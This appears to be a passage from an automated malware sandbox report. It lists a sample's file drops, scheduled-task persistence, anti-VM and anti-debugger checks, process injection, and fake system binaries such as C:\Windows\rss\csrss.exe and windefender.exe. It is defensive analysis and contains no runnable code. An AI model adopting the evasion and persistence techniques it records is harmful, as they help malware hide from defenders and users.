C:\Windows\system32\GroupPolicy\Machine\Registry.pol LaaVLNZ.exe File created C:\Windows\system32\DRVSTORE\VBoxDrv_B8F73A07F6EAC225F4EF78BAAC74D227A152D39D\VBoxDrv.sys MsiExec.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini H1R9yVgc2hsnjftMSftKbBxx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA wyOxbcC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 wyOxbcC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 wyOxbcC.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt MsiExec.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA wyOxbcC.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\DRVSTORE MsiExec.exe File created C:\Windows\system32\DRVSTORE\VBoxDrv_B8F73A07F6EAC225F4EF78BAAC74D227A152D39D\VBoxDrv.cat MsiExec.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI H1R9yVgc2hsnjftMSftKbBxx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA wyOxbcC.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol wyOxbcC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 wyOxbcC.exe File created C:\Windows\system32\DRVSTORE\VBoxDrv_B8F73A07F6EAC225F4EF78BAAC74D227A152D39D\VBoxDrv.inf MsiExec.exe File opened for modification C:\Windows\system32\DRVSTORE\VBoxDrv_B8F73A07F6EAC225F4EF78BAAC74D227A152D39D\VBoxDrv.inf MsiExec.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol eIclyav.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat wyOxbcC.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat LaaVLNZ.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol H1R9yVgc2hsnjftMSftKbBxx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 wyOxbcC.exe File opened for modification C:\Windows\System32\GroupPolicy H1R9yVgc2hsnjftMSftKbBxx.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
H1R9yVgc2hsnjftMSftKbBxx.exepid process 1464 H1R9yVgc2hsnjftMSftKbBxx.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exeUniversalInstaller.exedescription pid process target process PID 2196 set thread context of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 1628 set thread context of 1168 1628 UniversalInstaller.exe cmd.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
mCR3AVzyGr7MPxLy7AiVy03L.exeihVAocaecZJtyXZ7CkLGJpfb.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN mCR3AVzyGr7MPxLy7AiVy03L.exe File opened (read-only) \??\VBoxMiniRdrDN ihVAocaecZJtyXZ7CkLGJpfb.exe -
Drops file in Program Files directory 64 IoCs
Processes:
msiexec.exeLaaVLNZ.exewyOxbcC.exedescription ioc process File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_ko.qm msiexec.exe File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi LaaVLNZ.exe File created C:\Program Files\Oracle\VirtualBox\x86\msvcp100.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VirtualBox.chm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_el.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_zh_TW.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_id.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_uk.qm msiexec.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi wyOxbcC.exe File created C:\Program Files\Oracle\VirtualBox\Qt5WinExtrasVBox.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxDDR0.r0 msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_tr.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\x86\msvcr100.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxSDL.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_hu.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\ol_ks.cfg msiexec.exe File created C:\Program Files\Oracle\VirtualBox\platforms\qoffscreen.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_lt.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\rhel4_ks.cfg msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_sl.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_eu.qm msiexec.exe File created C:\Program Files (x86)\ByWuwrOBU\onKRUPF.xml LaaVLNZ.exe File created C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\tgGClxl.xml wyOxbcC.exe File created C:\Program Files\Oracle\VirtualBox\VBoxRes.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxSharedFolders.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxWebSrv.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxExtPackHelperApp.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxNetDHCP.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\platforms\qwindows.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\SDL.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxBalloonCtrl.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.sys msiexec.exe File created C:\Program Files\Oracle\VirtualBox\drivers\vboxdrv\VBoxDrv.inf msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_de.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_zh_CN.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxTestOGL.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\redhat_postinstall.sh msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxSDS.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_ca.qm msiexec.exe File created C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\xbIykrP.xml LaaVLNZ.exe File created C:\Program Files\Oracle\VirtualBox\vbox-img.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxManage.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\lgw_postinstall.sh msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_bg.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_cs.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxDDU.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VirtualBoxVM.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VirtualBoxVM.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_ru.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxAutostartSvc.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxCAPI.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxDbg.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxDD.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_ja.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\qt_pl.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\rhel3_ks.cfg msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxC.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\fedora_ks.cfg msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxDD2.dll msiexec.exe File created C:\Program Files\Oracle\VirtualBox\VBoxSDL.exe msiexec.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_en.qm msiexec.exe File created C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\win_nt6_unattended.xml msiexec.exe File created C:\Program Files (x86)\ARTXeDTAxvUn\QTisjMD.dll wyOxbcC.exe File created C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_ca.qm msiexec.exe -
Drops file in Windows directory 26 IoCs
Processes:
mCR3AVzyGr7MPxLy7AiVy03L.exemsiexec.exeschtasks.exemakecab.exeschtasks.exeihVAocaecZJtyXZ7CkLGJpfb.exeMsiExec.execsrss.exeschtasks.execmd.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File opened for modification C:\Windows\rss mCR3AVzyGr7MPxLy7AiVy03L.exe File opened for modification C:\Windows\Installer\MSI4F5D.tmp msiexec.exe File created C:\Windows\Tasks\BAnwxolbGpCzXNxkj.job schtasks.exe File opened for modification C:\Windows\Installer\MSI68F8.tmp msiexec.exe File created C:\Windows\Logs\CBS\CbsPersist_20240418222847.cab makecab.exe File opened for modification C:\Windows\Installer\f7a33dd.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI5038.tmp msiexec.exe File created C:\Windows\Tasks\qbSDwEgyNYPZlGA.job schtasks.exe File created C:\Windows\Installer\f7a33dd.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI7F46.tmp msiexec.exe File opened for modification C:\Windows\Installer\{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}\IconVirtualBox msiexec.exe File created C:\Windows\rss\csrss.exe ihVAocaecZJtyXZ7CkLGJpfb.exe File created C:\Windows\Installer\f7a33e0.ipi msiexec.exe File opened for modification C:\Windows\INF\setupapi.app.log MsiExec.exe File created C:\Windows\Installer\{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}\IconVirtualBox msiexec.exe File created C:\Windows\rss\csrss.exe mCR3AVzyGr7MPxLy7AiVy03L.exe File opened for modification C:\Windows\windefender.exe csrss.exe File created C:\Windows\Tasks\qbSDwEgyNYPZlGA.job schtasks.exe File created C:\Windows\Tasks\GS_Debug.job cmd.exe File created C:\Windows\Tasks\bWycNackLSywaqkmgR.job schtasks.exe File opened for modification C:\Windows\Tasks\bWycNackLSywaqkmgR.job schtasks.exe File created C:\Windows\Tasks\QhciBzJOokLnyYZub.job schtasks.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss ihVAocaecZJtyXZ7CkLGJpfb.exe File created C:\Windows\Tasks\BAnwxolbGpCzXNxkj.job schtasks.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 2804 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
ut4.1.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ut4.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ut4.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ut4.1.exe -
Creates scheduled task(s) 1 TTPs 20 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2644 schtasks.exe 540 schtasks.exe 1944 schtasks.exe 2956 schtasks.exe 1752 schtasks.exe 1396 schtasks.exe 2460 schtasks.exe 1788 schtasks.exe 2424 schtasks.exe 2764 schtasks.exe 1932 schtasks.exe 1916 schtasks.exe 1664 schtasks.exe 1596 schtasks.exe 2368 schtasks.exe 1140 schtasks.exe 2576 schtasks.exe 1828 schtasks.exe 3016 schtasks.exe 2924 schtasks.exe -
Enumerates system info in registry 2 TTPs 6 IoCs
Processes:
Install.exeInstall.exerundll32.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
mCR3AVzyGr7MPxLy7AiVy03L.exewscript.exewyOxbcC.exewindefender.exeMsiExec.exeLaaVLNZ.exenetsh.exerundll32.exeeIclyav.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings wyOxbcC.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates LaaVLNZ.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs LaaVLNZ.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot MsiExec.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix wyOxbcC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates wyOxbcC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates MsiExec.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-491 = "India Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed MsiExec.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-551 = "North Asia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-92 = "Pacific SA Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-872 = "Pakistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-391 = "Arab Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-35-df-dc-3d-6b\WpadDetectedUrl rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-532 = "Sri Lanka Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates LaaVLNZ.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-161 = "Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-581 = "North Asia East Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ eIclyav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates wyOxbcC.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs wyOxbcC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates wyOxbcC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs wyOxbcC.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs LaaVLNZ.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs wyOxbcC.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-35-df-dc-3d-6b\WpadDetectedUrl LaaVLNZ.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs LaaVLNZ.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs LaaVLNZ.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 LaaVLNZ.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-341 = "Egypt Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-432 = "Iran Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad LaaVLNZ.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\42-35-df-dc-3d-6b\WpadDecisionReason = "1" LaaVLNZ.exe -
Modifies registry class 64 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{E7932CB8-F6D4-4AB6-9CBF-558EB8959A6A}\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{B1A7A4F2-47B9-4A1E-82B2-07CCD5323C3F}\LocalServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{93BADC0C-61D9-4940-A084-E6BB29AF3D83}\NumMethods\ = "13" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{9B6E1AEE-35F3-4F4D-B5BB-ED0ECEFD8538}\NumMethods msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{A0BAD6DF-D612-47D3-89D4-DB3992533948}\ = "IHostPCIDevicePlugEvent" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{AF398A9A-6B76-4805-8FAB-00A9DCF4732B}\TypeLib msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B5191A7C-9536-4EF8-820E-3B0E17E5BBC8}\ = "IGuestFileIOEvent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D5ABC823-04D0-4DB6-8D66-DC2F033120E1}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Interface\{08E25756-08A2-41AF-A05F-D7C661ABAEBE}\TypeLib msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Interface\{245D88BD-800A-40F8-87A6-170D02249A55} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D88F2A5A-47C7-4A3F-AAE1-1B516817DB41}\TypeLib\Version = "1.3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0DE887F2-B7DB-4616-AAC6-CFB94D89BA78}\ = "IGuestProcessInputNotifyEvent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B5191A7C-9536-4EF8-820E-3B0E17E5BBC8}\NumMethods\ = "16" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\Wow6432Node\Interface\{FF5BEFC3-4BA3-7903-2AA4-43988BA11554}\NumMethods msiexec.exe Set value (str) 